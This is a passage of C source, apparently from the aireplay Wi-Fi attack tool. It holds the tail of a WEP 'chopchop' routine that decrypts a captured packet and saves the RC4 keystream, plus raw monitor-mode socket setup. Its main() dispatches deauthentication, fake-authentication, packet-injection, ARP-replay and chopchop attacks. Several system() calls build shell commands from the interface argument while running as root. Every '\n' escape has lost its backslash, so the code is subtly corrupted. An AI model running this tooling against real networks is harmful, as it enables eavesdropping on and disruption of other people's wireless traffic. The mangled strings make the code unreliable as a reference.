  1560.     chopped[z + 6] = srcbuf[z + 6] ^ 0x03;
  1561.     chopped[z + 7] = srcbuf[z + 7] ^ 0x00;
  1562.     chopped[z + 8] = srcbuf[z + 8] ^ 0x00;
  1563.     chopped[z + 9] = srcbuf[z + 9] ^ 0x00;
  1564.     for( i = z + 4; i < (int) caplen; i++ )
  1565.         h80211[i - 4] = h80211[i] ^ chopped[i];
  1566.     if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) )
  1567.         printf( "nWarning: ICV checksum verification FAILED!n" );
  1568.     caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
  1569.     h80211[1] &= 0xBF;   /* remove the WEP bit, too */
  1570.     /* save the decrypted packet */
  1571.     gettimeofday( &tv, NULL );
  1572.     pfh_out.magic         = TCPDUMP_MAGIC;
  1573.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  1574.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  1575.     pfh_out.thiszone      = 0;
  1576.     pfh_out.sigfigs       = 0;
  1577.     pfh_out.snaplen       = 65535;
  1578.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  1579.     pkh.tv_sec  = tv.tv_sec;
  1580.     pkh.tv_usec = tv.tv_usec;
  1581.     pkh.caplen  = caplen;
  1582.     pkh.len     = caplen;
  1583.     lt = localtime( &tv.tv_sec );
  1584.     memset( strbuf, 0, sizeof( strbuf ) );
  1585.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  1586.               "replay_dec-%02d%02d-%02d%02d%02d.cap",
  1587.               lt->tm_mon + 1, lt->tm_mday,
  1588.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  1589.     printf( "nSaving plaintext in %sn", strbuf );
  1590.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  1591.     {
  1592.         perror( "fopen failed" );
  1593.         return( 1 );
  1594.     }
  1595.     n = sizeof( struct pcap_file_header );
  1596.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  1597.     {
  1598.         perror( "fwrite failedn" );
  1599.         return( 1 );
  1600.     }
  1601.     n = sizeof( pkh );
  1602.     if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  1603.     {
  1604.         perror( "fwrite failed" );
  1605.         return( 1 );
  1606.     }
  1607.     n = pkh.caplen;
  1608.     if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  1609.     {
  1610.         perror( "fwrite failed" );
  1611.         return( 1 );
  1612.     }
  1613.     fclose( f_cap_out );
  1614.     /* save the RC4 stream (xor mask) */
  1615.     memset( strbuf, 0, sizeof( strbuf ) );
  1616.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  1617.               "replay_dec-%02d%02d-%02d%02d%02d.xor",
  1618.               lt->tm_mon + 1, lt->tm_mday,
  1619.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  1620.     printf( "Saving keystream in %sn", strbuf );
  1621.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  1622.     {
  1623.         perror( "fopen failed" );
  1624.         return( 1 );
  1625.     }
  1626.     n = pkh.caplen + 8 - z;
  1627.     if( fwrite( chopped + z, n, 1, f_cap_out ) != 1 )
  1628.     {
  1629.         perror( "fwrite failed" );
  1630.         return( 1 );
  1631.     }
  1632.     fclose( f_cap_out );
  1633.     printf( "nCompleted in %lds (%0.2f bytes/s)nn",
  1634.             time( NULL ) - tt,
  1635.             (float) ( pkh.caplen - 6 - z ) / 
  1636.             (float) ( time( NULL ) - tt  ) );
  1637.     return( 0 );
  1638. }
  1639. /* interface initialization routine */
  1640. int openraw( char *iface, int fd, int *arptype )
  1641. {
  1642.     struct ifreq ifr;
  1643.     struct packet_mreq mr;
  1644.     struct sockaddr_ll sll;
  1645.     /* find the interface index */
  1646.     memset( &ifr, 0, sizeof( ifr ) );
  1647.     strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 );
  1648.     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
  1649.     {
  1650.         perror( "ioctl(SIOCGIFINDEX) failed" );
  1651.         return( 1 );
  1652.     }
  1653.     /* bind the raw socket to the interface */
  1654.     memset( &sll, 0, sizeof( sll ) );
  1655.     sll.sll_family   = AF_PACKET;
  1656.     sll.sll_ifindex  = ifr.ifr_ifindex;
  1657.     if( dev.is_wlanng )
  1658.         sll.sll_protocol = htons( ETH_P_80211_RAW );
  1659.     else
  1660.         sll.sll_protocol = htons( ETH_P_ALL );
  1661.     if( bind( fd, (struct sockaddr *) &sll,
  1662.               sizeof( sll ) ) < 0 )
  1663.     {
  1664.         perror( "bind(ETH_P_ALL) failed" );
  1665.         return( 1 );
  1666.     }
  1667.     /* lookup the hardware type */
  1668.     if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
  1669.     {
  1670.         perror( "ioctl(SIOCGIFHWADDR) failed" );
  1671.         return( 1 );
  1672.     }
  1673.     if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 &&
  1674.         ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM &&
  1675.         ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL )
  1676.     {
  1677.         if( ifr.ifr_hwaddr.sa_family == 1 )
  1678.             fprintf( stderr, "nARP linktype is set to 1 (Ethernet) " );
  1679.         else
  1680.             fprintf( stderr, "nUnsupported hardware link type %4d ",
  1681.                      ifr.ifr_hwaddr.sa_family );
  1682.         fprintf( stderr, "- expected ARPHRD_IEEE80211nor ARPHRD_IEEE8021"
  1683.                          "1_PRISM instead.  Make sure RFMON is enabled:n"
  1684.                          "run 'ifconfig %s up; iwconfig %s mode Monitor "
  1685.                          "channel <#>'nn", iface, iface );
  1686.         return( 1 );
  1687.     }
  1688.     *arptype = ifr.ifr_hwaddr.sa_family;
  1689.     /* enable promiscuous mode */
  1690.     memset( &mr, 0, sizeof( mr ) );
  1691.     mr.mr_ifindex = sll.sll_ifindex;
  1692.     mr.mr_type    = PACKET_MR_PROMISC;
  1693.     if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
  1694.                     &mr, sizeof( mr ) ) < 0 )
  1695.     {
  1696.         perror( "setsockopt(PACKET_MR_PROMISC) failed" );
  1697.         return( 1 );
  1698.     }
  1699.     return( 0 );
  1700. }
  1701. /* MAC address parsing routine */
  1702. int getmac( char *s, unsigned char *mac )
  1703. {
  1704.     int i = 0, n;
  1705.     while( sscanf( s, "%x", &n ) == 1 )
  1706.     {
  1707.         if( n < 0 || n > 255 )
  1708.             return( 1 );
  1709.         mac[i] = n;
  1710.         if( ++i == 6 ) break;
  1711.         if( ! ( s = strchr( s, ':' ) ) )
  1712.             break;
  1713.         s++;
  1714.     }
  1715.     return( i != 6 );
  1716. }
  1717. char athXraw[] = "athXraw";
  1718. int main( int argc, char *argv[] )
  1719. {
  1720.     int n;
  1721.     if( geteuid() != 0 )
  1722.     {
  1723.         printf( "This program requires root privileges.n" );
  1724.         return( 1 );
  1725.     }
  1726.     /* check the arguments */
  1727.     memset( &opt, 0, sizeof( opt ) );
  1728.     opt.f_type    = -1; opt.f_subtype   = -1;
  1729.     opt.f_minlen  = -1; opt.f_maxlen    = -1;
  1730.     opt.f_tods    = -1; opt.f_fromds    = -1;
  1731.     opt.f_iswep   = -1;
  1732.     opt.a_mode    = -1; opt.r_fctrl     = -1;
  1733.     while( 1 )
  1734.     {
  1735.         int option = getopt( argc, argv,
  1736.                         "b:d:s:m:n:u:v:t:f:w:x:p:a:c:h:e:j:i:r:0:1:234" );
  1737.         if( option < 0 ) break;
  1738.         switch( option )
  1739.         {
  1740.             case 'b' :
  1741.                 if( getmac( optarg, opt.f_bssid ) != 0 )
  1742.                 {
  1743.                     printf( "Invalid BSSID (AP MAC address).n" );
  1744.                     return( 1 );
  1745.                 }
  1746.                 break;
  1747.             case 'd' :
  1748.                 if( getmac( optarg, opt.f_dmac ) != 0 )
  1749.                 {
  1750.                     printf( "Invalid destination MAC address.n" );
  1751.                     return( 1 );
  1752.                 }
  1753.                 break;
  1754.             case 's' :
  1755.                 if( getmac( optarg, opt.f_smac ) != 0 )
  1756.                 {
  1757.                     printf( "Invalid source MAC address.n" );
  1758.                     return( 1 );
  1759.                 }
  1760.                 break;
  1761.             case 'm' :
  1762.                 sscanf( optarg, "%d", &opt.f_minlen );
  1763.                 if( opt.f_minlen < 0 )
  1764.                 {
  1765.                     printf( "Invalid minimum length filter.n" );
  1766.                     return( 1 );
  1767.                 }
  1768.                 break;
  1769.             case 'n' :
  1770.                 sscanf( optarg, "%d", &opt.f_maxlen );
  1771.                 if( opt.f_maxlen < 0 )
  1772.                 {
  1773.                     printf( "Invalid maximum length filter.n" );
  1774.                     return( 1 );
  1775.                 }
  1776.                 break;
  1777.             case 'u' :
  1778.                 sscanf( optarg, "%d", &opt.f_type );
  1779.                 if( opt.f_type < 0 || opt.f_type > 3 )
  1780.                 {
  1781.                     printf( "Invalid type filter.n" );
  1782.                     return( 1 );
  1783.                 }
  1784.                 break;
  1785.             case 'v' :
  1786.                 sscanf( optarg, "%d", &opt.f_subtype );
  1787.                 if( opt.f_subtype < 0 || opt.f_subtype > 15 )
  1788.                 {
  1789.                     printf( "Invalid subtype filter.n" );
  1790.                     return( 1 );
  1791.                 }
  1792.                 break;
  1793.             case 't' :
  1794.                 sscanf( optarg, "%d", &opt.f_tods );
  1795.                 if( opt.f_tods != 0 && opt.f_tods != 1 )
  1796.                 {
  1797.                     printf( "Invalid tods filter.n" );
  1798.                     return( 1 );
  1799.                 }
  1800.                 break;
  1801.             case 'f' :
  1802.                 sscanf( optarg, "%d", &opt.f_fromds );
  1803.                 if( opt.f_fromds != 0 && opt.f_fromds != 1 )
  1804.                 {
  1805.                     printf( "Invalid fromds filter.n" );
  1806.                     return( 1 );
  1807.                 }
  1808.                 break;
  1809.             case 'w' :
  1810.                 sscanf( optarg, "%d", &opt.f_iswep );
  1811.                 if( opt.f_iswep != 0 && opt.f_iswep != 1 )
  1812.                 {
  1813.                     printf( "Invalid wep filter.n" );
  1814.                     return( 1 );
  1815.                 }
  1816.                 break;
  1817.             case 'x' :
  1818.                 sscanf( optarg, "%d", &opt.r_nbpps );
  1819.                 if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 )
  1820.                 {
  1821.                     printf( "Invalid number of packets per second.n" );
  1822.                     return( 1 );
  1823.                 }
  1824.                 break;
  1825.             case 'p' :
  1826.                 sscanf( optarg, "%x", &opt.r_fctrl );
  1827.                 if( opt.r_fctrl < 0 || opt.r_fctrl > 65355 )
  1828.                 {
  1829.                     printf( "Invalid frame control word.n" );
  1830.                     return( 1 );
  1831.                 }
  1832.                 break;
  1833.             case 'a' :
  1834.                 if( getmac( optarg, opt.r_bssid ) != 0 )
  1835.                 {
  1836.                     printf( "Invalid AP MAC address.n" );
  1837.                     return( 1 );
  1838.                 }
  1839.                 break;
  1840.             case 'c' :
  1841.                 if( getmac( optarg, opt.r_dmac ) != 0 )
  1842.                 {
  1843.                     printf( "Invalid destination MAC address.n" );
  1844.                     return( 1 );
  1845.                 }
  1846.                 break;
  1847.             case 'h' :
  1848.                 if( getmac( optarg, opt.r_smac ) != 0 )
  1849.                 {
  1850.                     printf( "Invalid source MAC address.n" );
  1851.                     return( 1 );
  1852.                 }
  1853.                 break;
  1854.             case 'e' :
  1855.                 memset(  opt.r_essid, 0, sizeof( opt.r_essid ) );
  1856.                 strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 );
  1857.                 break;
  1858.             case 'j' :
  1859.                 opt.r_fromdsinj = 1;
  1860.                 break;
  1861.             case 'i' :
  1862.                 if( opt.s_face != NULL || opt.s_file )
  1863.                 {
  1864.                     printf( "Packet source already specified.n" );
  1865.                     return( 1 );
  1866.                 }
  1867.                 opt.s_face = optarg;
  1868.                 break;
  1869.             case 'r' :
  1870.                 if( opt.s_face != NULL || opt.s_file )
  1871.                 {
  1872.                     printf( "Packet source already specified.n" );
  1873.                     return( 1 );
  1874.                 }
  1875.                 opt.s_file = optarg;
  1876.                 break;
  1877.             case '0' :
  1878.                 if( opt.a_mode != -1 )
  1879.                 {
  1880.                     printf( "Attack mode already specified.n" );
  1881.                     return( 1 );
  1882.                 }
  1883.                 opt.a_mode = 0;
  1884.                 sscanf( optarg, "%d", &opt.a_count );
  1885.                 if( opt.a_count < 0 )
  1886.                 {
  1887.                     printf( "Invalid deauthentication count.n" );
  1888.                     return( 1 );
  1889.                 }
  1890.                 break;
  1891.             case '1' :
  1892.                 if( opt.a_mode != -1 )
  1893.                 {
  1894.                     printf( "Attack mode already specified.n" );
  1895.                     return( 1 );
  1896.                 }
  1897.                 opt.a_mode = 1;
  1898.                 sscanf( optarg, "%d", &opt.a_delay );
  1899.                 if( opt.a_delay < 0 )
  1900.                 {
  1901.                     printf( "Invalid reauthentication delay.n" );
  1902.                     return( 1 );
  1903.                 }
  1904.                 break;
  1905.             case '2' :
  1906.                 if( opt.a_mode != -1 )
  1907.                 {
  1908.                     printf( "Attack mode already specified.n" );
  1909.                     return( 1 );
  1910.                 }
  1911.                 opt.a_mode = 2;
  1912.                 break;
  1913.             case '3' :
  1914.                 if( opt.a_mode != -1 )
  1915.                 {
  1916.                     printf( "Attack mode already specified.n" );
  1917.                     return( 1 );
  1918.                 }
  1919.                 opt.a_mode = 3;
  1920.                 break;
  1921.             case '4' :
  1922.                 if( opt.a_mode != -1 )
  1923.                 {
  1924.                     printf( "Attack mode already specified.n" );
  1925.                     return( 1 );
  1926.                 }
  1927.                 opt.a_mode = 4;
  1928.                 break;
  1929.             default : goto usage;
  1930.         }
  1931.     }
  1932.     if( argc - optind < 1 || argc - optind > 2 )
  1933.     {
  1934.     usage:
  1935.         printf( usage, _MAJ, _MIN );
  1936.         return( 1 );
  1937.     }
  1938.     if( opt.a_mode == -1 )
  1939.     {
  1940.         printf( "Please specify an attack mode.n" );
  1941.         return( 1 );
  1942.     }
  1943.     if( opt.f_minlen > opt.f_maxlen )
  1944.     {
  1945.         printf( "Invalid length filter (%d > %d).n",
  1946.                 opt.f_minlen, opt.f_maxlen );
  1947.         return( 1 );
  1948.     }
  1949.     memset( &dev, 0, sizeof( dev ) );
  1950.     dev.fd_rtc = -1;
  1951.     /* open the RTC device if necessary */
  1952. #ifdef __i386__
  1953.     if( opt.a_mode > 1 )
  1954.     {
  1955.         if( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 )
  1956.         {
  1957.             perror( "open(/dev/rtc) failed" );
  1958.         }
  1959.         else
  1960.         {
  1961.             if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 )
  1962.             {
  1963.                 perror( "ioctl(RTC_IRQP_SET) failed" );
  1964.                 printf(
  1965. "Make sure enhanced rtc device support is enabled in the kernel (modulen"
  1966. "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.n" );
  1967.                 close( dev.fd_rtc );
  1968.                 dev.fd_rtc = -1;
  1969.             }
  1970.             else
  1971.             {
  1972.                 if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
  1973.                 {
  1974.                     perror( "ioctl(RTC_PIE_ON) failed" );
  1975.                     close( dev.fd_rtc );
  1976.                     dev.fd_rtc = -1;
  1977.                 }
  1978.             }
  1979.         }
  1980.     }
  1981. #endif
  1982.     /* create the RAW sockets */
  1983.     if( ( dev.fd_in = socket( PF_PACKET, SOCK_RAW,
  1984.                               htons( ETH_P_ALL ) ) ) < 0 )
  1985.     {
  1986.         perror( "socket(PF_PACKET) failed" );
  1987.         if( getuid() != 0 )
  1988.             fprintf( stderr, "This program requires root privileges.n" );
  1989.         return( 1 );
  1990.     }
  1991.     if( ( dev.fd_out = socket( PF_PACKET, SOCK_RAW,
  1992.                                htons( ETH_P_ALL ) ) ) < 0 )
  1993.     {
  1994.         perror( "socket(PF_PACKET) failed" );
  1995.         return( 1 );
  1996.     }
  1997.     /* check if wlan-ng or hostap or r8180 */
  1998.     if( strlen( argv[optind] ) == 5 &&
  1999.         memcmp( argv[optind], "wlan", 4 ) == 0 )
  2000.     {
  2001.         memset( strbuf, 0, sizeof( strbuf ) );
  2002.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2003.                   "wlancfg show %s 2>/dev/null | "
  2004.                   "grep p2CnfWEPFlags >/dev/null",
  2005.                   argv[optind] );
  2006.         if( system( strbuf ) == 0 )
  2007.             dev.is_wlanng = 1;
  2008.         memset( strbuf, 0, sizeof( strbuf ) );
  2009.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2010.                   "iwpriv %s 2>/dev/null | "
  2011.                   "grep antsel_rx >/dev/null",
  2012.                   argv[optind] );
  2013.         if( system( strbuf ) == 0 )
  2014.             dev.is_hostap = 1;
  2015.     }
  2016.     /* enable injection on ralink */
  2017.     if( strcmp( argv[optind], "ra0" ) == 0 ||
  2018.         strcmp( argv[optind], "ra1" ) == 0 ||
  2019.         strcmp( argv[optind], "rausb0" ) == 0 ||
  2020.         strcmp( argv[optind], "rausb1" ) == 0 )
  2021.     {
  2022.         memset( strbuf, 0, sizeof( strbuf ) );
  2023.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2024.                   "iwpriv %s rfmontx 1 &>/dev/null",
  2025.                   argv[optind] );
  2026.         system( strbuf );
  2027.     }
  2028.     /* check if newer athXraw interface available */
  2029.     if( strlen( argv[optind] ) == 4 &&
  2030.         memcmp( argv[optind], "ath", 3 ) == 0 )
  2031.     {
  2032.         memset( strbuf, 0, sizeof( strbuf ) );
  2033.         snprintf( strbuf,  sizeof( strbuf ) - 1,
  2034.                   "sysctl -w dev.%s.rawdev=1 &>/dev/null",
  2035.                   argv[optind] );
  2036.         if( system( strbuf ) == 0 )
  2037.         {
  2038.             athXraw[3] = argv[optind][3];
  2039.             memset( strbuf, 0, sizeof( strbuf ) );
  2040.             snprintf( strbuf,  sizeof( strbuf ) - 1,
  2041.                       "ifconfig %s up", athXraw );
  2042.             system( strbuf );
  2043. #if 0 /* some people reported problems when prismheader is enabled */
  2044.             memset( strbuf, 0, sizeof( strbuf ) );
  2045.             snprintf( strbuf,  sizeof( strbuf ) - 1,
  2046.                      "sysctl -w dev.%s.rawdev_type=1 &>/dev/null",
  2047.                      argv[optind] );
  2048.             system( strbuf );
  2049. #endif
  2050.             argv[optind] = athXraw;
  2051.         }
  2052.     }
  2053.     /* drop privileges */
  2054.     setuid( getuid() );
  2055.     if( opt.r_nbpps == 0 )
  2056.     {
  2057.         if( dev.is_wlanng || dev.is_hostap )
  2058.             opt.r_nbpps = 200;
  2059.         else
  2060.             opt.r_nbpps = 500;
  2061.     }
  2062.     /* open the replay interface */
  2063.     dev.is_madwifi = ( memcmp( argv[optind], "ath", 3 ) == 0 );
  2064.     if( openraw( argv[optind], dev.fd_out, &dev.arptype_out ) != 0 )
  2065.         return( 1 );
  2066.     /* open the packet source */
  2067.     if( opt.s_face != NULL )
  2068.     {
  2069.         dev.is_madwifi = ( memcmp( opt.s_face, "ath", 3 ) == 0 );
  2070.         if( openraw( opt.s_face, dev.fd_in, &dev.arptype_in ) != 0 )
  2071.             return( 1 );
  2072.     }
  2073.     else
  2074.     {
  2075.         dev.fd_in = dev.fd_out;
  2076.         dev.arptype_in = dev.arptype_out;
  2077.     }
  2078.     if( opt.s_file != NULL )
  2079.     {
  2080.         if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
  2081.         {
  2082.             perror( "open failed" );
  2083.             return( 1 );
  2084.         }
  2085.         n = sizeof( struct pcap_file_header );
  2086.         if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
  2087.         {
  2088.             perror( "fread(pcap file header) failed" );
  2089.             return( 1 );
  2090.         }
  2091.         if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
  2092.             dev.pfh_in.magic != TCPDUMP_CIGAM )
  2093.         {
  2094.             fprintf( stderr, ""%s" isn't a pcap file (expected "
  2095.                              "TCPDUMP_MAGIC).n", opt.s_file );
  2096.             return( 1 );
  2097.         }
  2098.         if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  2099.             SWAP32(dev.pfh_in.linktype);
  2100.         if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
  2101.             dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER )
  2102.         {
  2103.             fprintf( stderr, "Wrong linktype from pcap file header "
  2104.                              "(expected LINKTYPE_IEEE802_11) -n"
  2105.                              "this doesn't look like a regular 802.11 "
  2106.                              "capture.n" );
  2107.             return( 1 );
  2108.         }
  2109.     }
  2110.     switch( opt.a_mode )
  2111.     {
  2112.         case 0 : return( do_attack_deauth()      );
  2113.         case 1 : return( do_attack_fake_auth()   );
  2114.         case 2 : return( do_attack_interactive() );
  2115.         case 3 : return( do_attack_arp_resend()  );
  2116.         case 4 : return( do_attack_chopchop()    );
  2117.         default: break;
  2118.     }
  2119.     /* that's all, folks */
  2120.     return( 0 );
  2121. }